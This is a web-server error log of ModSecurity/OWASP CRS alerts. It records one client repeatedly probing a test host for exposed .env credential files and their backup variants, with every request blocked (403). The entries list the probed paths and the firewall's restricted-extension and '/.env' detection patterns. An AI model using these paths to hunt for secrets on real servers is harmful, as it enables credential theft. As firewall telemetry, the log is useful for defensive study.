[Thu Oct 30 20:06:45.691366 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aQO3RZdseHRrfd8_FeKIbQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:45.691995 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aQO3RZdseHRrfd8_FeKIbQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:46.217951 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aQO3RpdseHRrfd8_FeKIbgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:46.218140 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aQO3RpdseHRrfd8_FeKIbgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:46.218404 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aQO3RpdseHRrfd8_FeKIbgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:46.218625 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aQO3RpdseHRrfd8_FeKIbgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:46.733792 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aQO3RpdseHRrfd8_FeKIbwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:46.733978 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aQO3RpdseHRrfd8_FeKIbwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:46.734217 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aQO3RpdseHRrfd8_FeKIbwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:46.734455 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aQO3RpdseHRrfd8_FeKIbwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:47.239354 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aQO3R5dseHRrfd8_FeKIcAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:47.239614 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aQO3R5dseHRrfd8_FeKIcAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:47.239834 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aQO3R5dseHRrfd8_FeKIcAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:47.743645 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aQO3R5dseHRrfd8_FeKIcQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:47.743937 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aQO3R5dseHRrfd8_FeKIcQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:47.744155 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aQO3R5dseHRrfd8_FeKIcQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:48.275851 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aQO3SJdseHRrfd8_FeKIcgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:48.276054 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aQO3SJdseHRrfd8_FeKIcgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:48.276303 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aQO3SJdseHRrfd8_FeKIcgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:48.276521 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aQO3SJdseHRrfd8_FeKIcgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:48.780599 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aQO3SJdseHRrfd8_FeKIcwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:48.780809 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aQO3SJdseHRrfd8_FeKIcwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:48.781082 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aQO3SJdseHRrfd8_FeKIcwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:48.781310 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aQO3SJdseHRrfd8_FeKIcwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:49.285797 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aQO3SZdseHRrfd8_FeKIdAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:49.286061 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aQO3SZdseHRrfd8_FeKIdAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:49.286276 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aQO3SZdseHRrfd8_FeKIdAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:49.790180 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.save&quot;] [unique_id &quot;aQO3SZdseHRrfd8_FeKIdQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:49.790474 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.save&quot;] [unique_id &quot;aQO3SZdseHRrfd8_FeKIdQAAAAY&quot;], referer: https://www.google.com/
